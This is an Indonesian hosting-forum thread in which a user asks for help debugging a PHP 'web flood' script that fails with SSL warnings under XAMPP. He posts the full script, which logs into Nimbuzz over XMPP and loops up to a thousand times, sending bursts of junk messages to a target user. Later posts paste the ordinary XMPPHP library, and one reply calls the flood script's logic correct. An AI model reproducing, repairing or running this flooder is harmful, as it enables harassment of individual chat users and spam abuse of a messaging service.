lokalhost

Discussion in 'Web Hosting' started by campvess, 18 Jun 2011.

Thread Status:
Not open for further replies.
  1. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    lam kenal buat semua master.... saya coba2 buat lokalhost hampir selesai sih di mozila pun dah keluar template nya cuma pas di submit keluar Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392 apa kira2 penyebabya ya??? mohon bantuanya dari master2 sekalian.... trimakasih.....
     
  2. voezie

    voezie Hosting Guru

    Messages:
    1,771
    Likes Received:
    212
    Trophy Points:
    63
    Agak kurang jelas maksudnya apa... trus yang di submit nya apa ?
     
  3. galuh82

    galuh82 Hosting Guru Web Hosting (Company)

    Messages:
    2,514
    Likes Received:
    186
    Trophy Points:
    63
    bukan lokalhost tapi localhost.

    dari pesan error itu ada bunyi SSL yang tidak disupport oleh xampp, pastikan menggunakan http bukan https atau sejenisnya yang berkaitan dengan protokol secure CMIW

    salam,
     
  4. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    oh iya maaf rada kurang jelas dari maksud pertanyaan saya..... begini saya mau coba buat web flood fia localhost buat nge generate flood aku pakai program XMPP buat ngejalanin localhostnya ini scriptnya.....
    <html>
    <head><title>Web Flood by ?r?yum? The Peace Maker Always</title>
    <style type="text/css">
    body{
    background-color: #000;
    font-family: tahoma;
    font-size:11px;
    color:#FFFFFF;
    scrollbar-face-color: #FFFFFF;
    scrollbar-highlight-color: #000000;
    scrollbar-shadow-color: #000000;
    scrollbar-3dlight-color: #FFFFFF;
    scrollbar-arrow-color: #FFFFFF;
    scrollbar-track-color: #FFFFFF;
    scrollbar-darkshadow-color: #FFFFFF;
    }
    input,textarea{
    font-family: tahoma;
    font-size:11px;
    color:#FFFFFF;
    background-color: #999999;
    border:0px solid #000000;
    }


    </style>
    </head>
    <body>
    <a href="http://ariyumi.net"><img src="http://ariyumi.net/mybanner.jpg" width="181" height="55" border="0"/></a><br/><br/><br/>
    <br>
    by: ?r?yum? The Peace Maker Always <br>
    </form>
    <br>

    <?php
    if (!isset($_POST["Submit"]))
    {

    echo "<form id='pv1' name='send' method='post' action='$_SERVER[PHP_SELF]'>";
    echo "<table width='400' border='0' cellspacing='1' cellpadding='1'>";
    echo "<tr>";
    echo "<td width='80'>Username</td>";
    echo "<td width='10'>:</td>";
    echo "<td width='290'><input name='username' type='text' id='target' /></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td width=''>Password</td>";
    echo "<td width='10'>:</td>";
    echo "<td width='290'><input name='password' type='password' id='target' /></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>Resource</td>";
    echo "<td>:</td>";
    echo "<td><input name='resource' type='text' id='resource' /></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td width=''>Jid Target</td>";
    echo "<td width='10'>:</td>";
    echo "<td width='290'><input name='target' type='text' id='target' /></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>Timer</td>";
    echo "<td>:</td>";
    echo "<td><input name='timer' type='text' value='(isi 1-30)'/></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>Jumlah</td>";
    echo "<td>:</td>";
    echo "<td><input name='jumlah' type='text' value='1000'/></td>";
    echo "</tr>";
    echo "<tr>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>Text Plud 1</td>";
    echo "<td>:</td>";
    echo "<td><textarea name='text' cols='30' rows='4' id='text'>.
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+
    +-()-+</textarea></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>Text Plud 2</td>";
    echo "<td>:</td>";
    echo "<td><textarea name='text1' cols='30' rows='4' id='text1'>.

    --- ??
    ??+-[[ (
    -+?+-[[?(
    Broom brooomm brommmmsssssss wuzzzzzzzzz...wkwkwkwkkw</textarea></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>&nbsp;</td>";
    echo "<td>&nbsp;</td>";
    echo "<td><input type='hidden' name='mode' value='pv1'></td>";
    echo "</tr>";
    echo "<tr>";
    echo "<td>&nbsp;</td>";
    echo "<td>&nbsp;</td>";
    echo "<td><input type='submit' name='Submit' value='submit' /></td>";
    echo "</tr>";
    echo "</table>";
    echo "</form>";

    }
    else
    {
    $resource = $_POST['resource'];
    $host='o.nimbuzz.com';
    $port='5222';
    $server='nimbuzz.com';

    $user = $_POST['username'];
    $password = $_POST['password'];
    $timer = $_POST['timer'];
    $body1 = $_POST['text'];
    $body2 = $_POST['text1'];
    $target= $_POST['target'];
    $target1="$target@nimbuzz.com";
    $to="$target1";
    $jumlah = $_POST['jumlah'];

    include 'XMPPHP/Log.php';
    include 'XMPPHP/XMPP.php';
    for($ar=1;$ar<=$jumlah;$ar++)
    {

    $conn = new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
    $conn->connect();$conn->processUntil('session_start');


    sleep($timer);

    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body2,"chat");
    $conn->message($to, $body2,"chat");
    $conn->message($to, $body2,"chat");
    $conn->message($to, $body2,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");
    $conn->message($to, $body1,"chat");

    $conn->disconnect();

    }

    echo "Flood to $to was sent. Reload this page for more flood";
    }
    ?>


    nah pas ini di submit yang keluar tulisan



    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Deprecated: Function split() is deprecated in C:\xampp\htdocs\XMPPHP\XMLStream.php on line 266

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392

    Warning: stream_socket_enable_crypto() [streams.crypto]: this stream does not support SSL/crypto in C:\xampp\htdocs\XMPPHP\XMPP.php on line 392


    kira2 dari tulisan ini apa yang salh y master dari script saya atau dari aplikasi saya yang gak suport sama script tadi.... mohon penjelasannya.... trimakasih buat master2 yang dah jawab.....
     
  5. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    dan solusinya bagaimana y master.... aku pakai Xp sp3.... apa harus download SSL atau gimana
    salam.....
     
  6. tokohosting

    tokohosting Expert 1.0

    Messages:
    619
    Likes Received:
    8
    Trophy Points:
    18
    file xmpp.php nya mana?? itu ada yang salah sama xmpp.php nya... kalau script di atas udah bener logikanya...
     
  7. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    thanks master


    ini xmpp.php


    <?php
    /**
    * XMPPHP: The PHP XMPP Library
    * Copyright (C) 2008 Nathanael C. Fritz
    * This file is part of SleekXMPP.
    *
    * XMPPHP is free software; you can redistribute it and/or modify
    * it under the terms of the GNU General Public License as published by
    * the Free Software Foundation; either version 2 of the License, or
    * (at your option) any later version.
    *
    * XMPPHP is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    * GNU General Public License for more details.
    *
    * You should have received a copy of the GNU General Public License
    * along with XMPPHP; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
    *
    * @category xmpphp
    * @package XMPPHP
    * @author Nathanael C. Fritz <JID: fritzy@netflint.net>
    * @author Stephan Wentz <JID: stephan@jabber.wentz.it>
    * @author Michael Garvin <JID: gar@netflint.net>
    * @copyright 2008 Nathanael C. Fritz
    */

    /** XMPPHP_XMLStream */
    require_once dirname(__FILE__) . "/XMLStream.php";
    require_once dirname(__FILE__) . "/Roster.php";

    /**
    * XMPPHP Main Class
    *
    * @category xmpphp
    * @package XMPPHP
    * @author Nathanael C. Fritz <JID: fritzy@netflint.net>
    * @author Stephan Wentz <JID: stephan@jabber.wentz.it>
    * @author Michael Garvin <JID: gar@netflint.net>
    * @copyright 2008 Nathanael C. Fritz
    * @version $Id$
    */
    class XMPPHP_XMPP extends XMPPHP_XMLStream {
     
  8. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    /**
    * @var string
    */
    public $server;

    /**
    * @var string
    */
    public $user;

    /**
    * @var string
    */
    protected $password;

    /**
    * @var string
    */
    protected $resource;

    /**
    * @var string
    */
    protected $fulljid;

    /**
    * @var string
    */
    protected $basejid;

    /**
    * @var boolean
    */
    protected $authed = false;
    protected $session_started = false;

    /**
    * @var boolean
    */
    protected $auto_subscribe = false;

    /**
    * @var boolean
    */
    protected $use_encryption = true;

    /**
    * @var boolean
    */
    public $track_presence = true;

    /**
    * @var object
    */
    public $roster;

    /**
    * Constructor
    *
    * @param string $host
    * @param integer $port
    * @param string $user
    * @param string $password
    * @param string $resource
    * @param string $server
    * @param boolean $printlog
    * @param string $loglevel
    */
    public function __construct($host, $port, $user, $password, $resource, $server = null, $printlog = false, $loglevel = null) {
    parent::__construct($host, $port, $printlog, $loglevel);
     
  9. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    $this->user = $user;
    $this->password = $password;
    $this->resource = $resource;
    if(!$server) $server = $host;
    $this->basejid = $this->user . '@' . $this->host;

    $this->roster = new Roster();
    $this->track_presence = true;

    $this->stream_start = '<stream:stream to="' . $server . '" xmlns:stream="http://etherx.jabber.org/streams" xmlns="jabber:client" version="1.0">';
    $this->stream_end = '</stream:stream>';
    $this->default_ns = 'jabber:client';

    $this->addXPathHandler('{http://etherx.jabber.org/streams}features', 'features_handler');
    $this->addXPathHandler('{urn:ietf:params:xml:ns:xmpp-sasl}success', 'sasl_success_handler');
    $this->addXPathHandler('{urn:ietf:params:xml:ns:xmpp-sasl}failure', 'sasl_failure_handler');
    $this->addXPathHandler('{urn:ietf:params:xml:ns:xmpp-tls}proceed', 'tls_proceed_handler');
    $this->addXPathHandler('{jabber:client}message', 'message_handler');
    $this->addXPathHandler('{jabber:client}presence', 'presence_handler');
    $this->addXPathHandler('iq/{jabber:iq:roster}query', 'roster_iq_handler');
    }

    /**
    * Turn encryption on/ff
    *
    * @param boolean $useEncryption
    */
    public function useEncryption($useEncryption = true) {
    $this->use_encryption = $useEncryption;
    }

    /**
    * Turn on auto-authorization of subscription requests.
    *
    * @param boolean $autoSubscribe
    */
    public function autoSubscribe($autoSubscribe = true) {
    $this->auto_subscribe = $autoSubscribe;
    }

    /**
    * Send XMPP Message
    *
    * @param string $to
    * @param string $body
    * @param string $type
    * @param string $subject
    */
    public function message($to, $body, $type = 'chat', $subject = null, $payload = null) {
    if(is_null($type))
    {
    $type = 'chat';
    }

    $to = htmlspecialchars($to);
    $body = htmlspecialchars($body);
    $subject = htmlspecialchars($subject);

    $out = "<message from=\"{$this->fulljid}\" to=\"$to\" type='$type'>";
    if($subject) $out .= "<subject>$subject</subject>";
    $out .= "<body>$body</body>";
    if($payload) $out .= $payload;
    $out .= "</message>";

    $this->send($out);
    }

    /**
    * Set Presence
    *
    * @param string $status
    * @param string $show
    * @param string $to
    */
    public function presence($status = null, $show = 'available', $to = null, $type='available', $priority=0) {
    if($type == 'available') $type = '';
    $to = htmlspecialchars($to);
    $status = htmlspecialchars($status);
    if($show == 'unavailable') $type = 'unavailable';

    $out = "<presence";
    if($to) $out .= " to=\"$to\"";
    if($type) $out .= " type='$type'";
    if($show == 'available' and !$status) {
    $out .= "/>";
    } else {
    $out .= ">";
    if($show != 'available') $out .= "<show>$show</show>";
    if($status) $out .= "<status>$status</status>";
    if($priority) $out .= "<priority>$priority</priority>";
    $out .= "</presence>";
    }

    $this->send($out);
    }
    /**
    * Send Auth request
    *
    * @param string $jid
    */
    public function subscribe($jid) {
    $this->send("<presence type='subscribe' to='{$jid}' from='{$this->fulljid}' />");
    #$this->send("<presence type='subscribed' to='{$jid}' from='{$this->fulljid}' />");
    }

    /**
    * Message handler
    *
    * @param string $xml
    */
    public function message_handler($xml) {
    if(isset($xml->attrs['type'])) {
    $payload['type'] = $xml->attrs['type'];
    } else {
    $payload['type'] = 'chat';
    }
    $payload['from'] = $xml->attrs['from'];
    $payload['body'] = $xml->sub('body')->data;
    $payload['xml'] = $xml;
    $this->log->log("Message: {$xml->sub('body')->data}", XMPPHP_Log::LEVEL_DEBUG);
    $this->event('message', $payload);
     
  10. campvess

    campvess Beginner 1.0

    Messages:
    10
    Likes Received:
    0
    Trophy Points:
    1
    }

    /**
    * Presence handler
    *
    * @param string $xml
    */
    public function presence_handler($xml) {
    $payload['type'] = (isset($xml->attrs['type'])) ? $xml->attrs['type'] : 'available';
    $payload['show'] = (isset($xml->sub('show')->data)) ? $xml->sub('show')->data : $payload['type'];
    $payload['from'] = $xml->attrs['from'];
    $payload['status'] = (isset($xml->sub('status')->data)) ? $xml->sub('status')->data : '';
    $payload['priority'] = (isset($xml->sub('priority')->data)) ? intval($xml->sub('priority')->data) : 0;
    $payload['xml'] = $xml;
    if($this->track_presence) {
    $this->roster->setPresence($payload['from'], $payload['priority'], $payload['show'], $payload['status']);
    }
    $this->log->log("Presence: {$payload['from']} [{$payload['show']}] {$payload['status']}", XMPPHP_Log::LEVEL_DEBUG);
    if(array_key_exists('type', $xml->attrs) and $xml->attrs['type'] == 'subscribe') {
    if($this->auto_subscribe) {
    $this->send("<presence type='subscribed' to='{$xml->attrs['from']}' from='{$this->fulljid}' />");
    $this->send("<presence type='subscribe' to='{$xml->attrs['from']}' from='{$this->fulljid}' />");
    }
    $this->event('subscription_requested', $payload);
    } elseif(array_key_exists('type', $xml->attrs) and $xml->attrs['type'] == 'subscribed') {
    $this->event('subscription_accepted', $payload);
    } else {
    $this->event('presence', $payload);
    }
    }

    /**
    * Features handler
    *
    * @param string $xml
    */
    protected function features_handler($xml) {
    if($xml->hasSub('starttls') and $this->use_encryption) {
    $this->send("<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required /></starttls>");
    } elseif($xml->hasSub('bind') and $this->authed) {
    $id = $this->getId();
    $this->addIdHandler($id, 'resource_bind_handler');
    $this->send("<iq xmlns=\"jabber:client\" type=\"set\" id=\"$id\"><bind xmlns=\"urn:ietf:params:xml:ns:xmpp-bind\"><resource>{$this->resource}</resource></bind></iq>");
    } else {
    $this->log->log("Attempting Auth...");
    if ($this->password) {
    $this->send("<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>" . base64_encode("\x00" . $this->user . "\x00" . $this->password) . "</auth>");
    } else {
    $this->send("<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='ANONYMOUS'/>");
    }
    }
    }

    /**
    * SASL success handler
    *
    * @param string $xml
    */
    protected function sasl_success_handler($xml) {
    $this->log->log("Auth success!");
    $this->authed = true;
    $this->reset();
    }

    /**
    * SASL feature handler
    *
    * @param string $xml
    */
    protected function sasl_failure_handler($xml) {
    $this->log->log("Auth failed!", XMPPHP_Log::LEVEL_ERROR);
    $this->disconnect();

    throw new XMPPHP_Exception('Auth failed!');
    }

    /**
    * Resource bind handler
    *
    * @param string $xml
    */
    protected function resource_bind_handler($xml) {
    if($xml->attrs['type'] == 'result') {
    $this->log->log("Bound to " . $xml->sub('bind')->sub('jid')->data);
    $this->fulljid = $xml->sub('bind')->sub('jid')->data;
    $jidarray = explode('/',$this->fulljid);
    $this->jid = $jidarray[0];
    }
    $id = $this->getId();
    $this->addIdHandler($id, 'session_start_handler');
    $this->send("<iq xmlns='jabber:client' type='set' id='$id'><session xmlns='urn:ietf:params:xml:ns:xmpp-session' /></iq>");
    }

    /**
    * Retrieves the roster
    *
    */
    public function getRoster($jid) {
    $id = $this->getID();
    $this->send("<iq to='{$jid}' id='$id' type='result'><query xmlns='jabber:iq:roster'></query></iq>");
    }

    /**
    * Roster iq handler
    * Gets all packets matching XPath "iq/{jabber:iq:roster}query'
    *
    * @param string $xml
    */
    protected function roster_iq_handler($xml) {
    $status = "result";
    $xmlroster = $xml->sub('query');
    foreach($xmlroster->subs as $item) {
    $groups = array();
    if ($item->name == 'item') {
    $jid = $item->attrs['jid']; //REQUIRED
    $name = $item->attrs['name']; //MAY
    $subscription = $item->attrs['subscription'];
    foreach($item->subs as $subitem) {
    if ($subitem->name == 'group') {
    $groups[] = $subitem->data;
    }
    }
    $contacts[] = array($jid, $subscription, $name, $groups); //Store for action if no errors happen
    } else {
    $status = "error";
    }
    }
    if ($status == "result") { //No errors, add contacts
    foreach($contacts as $contact) {
    $this->roster->addContact($contact[0], $contact[1], $contact[2], $contact[3]);
    }
    }
    if ($xml->attrs['type'] == 'set') {
    $this->send("<iq type=\"reply\" id=\"{$xml->attrs['id']}\" to=\"{$xml->attrs['from']}\" />");
    }
    }

    /**
    * Session start handler
    *
    * @param string $xml
    */
    protected function session_start_handler($xml) {
    $this->log->log("Session started");
    $this->session_started = true;
    $this->event('session_start');
    }

    /**
    * TLS proceed handler
    *
    * @param string $xml
    */
    protected function tls_proceed_handler($xml) {
    $this->log->log("Starting TLS encryption");
    stream_socket_enable_crypto($this->socket, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
    $this->reset();
    }

    /**
    * Retrieves the vcard
    *
    */
    public function getVCard($jid = Null) {
    $id = $this->getID();
    $this->addIdHandler($id, 'vcard_get_handler');
    if($jid) {
    $this->send("<iq type='get' id='$id' to='$jid'><vCard xmlns='vcard-temp' /></iq>");
    } else {
    $this->send("<iq type='get' id='$id'><vCard xmlns='vcard-temp' /></iq>");
    }
    }

    /**
    * VCard retrieval handler
    *
    * @param XML Object $xml
    */
    protected function vcard_get_handler($xml) {
    $vcard_array = array();
    $vcard = $xml->sub('vcard');
    // go through all of the sub elements and add them to the vcard array
    foreach ($vcard->subs as $sub) {
    if ($sub->subs) {
    $vcard_array[$sub->name] = array();
    foreach ($sub->subs as $sub_child) {
    $vcard_array[$sub->name][$sub_child->name] = $sub_child->data;
    }
    } else {
    $vcard_array[$sub->name] = $sub->data;
    }
    }
    $vcard_array['from'] = $xml->attrs['from'];
    $this->event('vcard', $vcard_array);
    }
    }
     
Thread Status:
Not open for further replies.

Share This Page

Loading...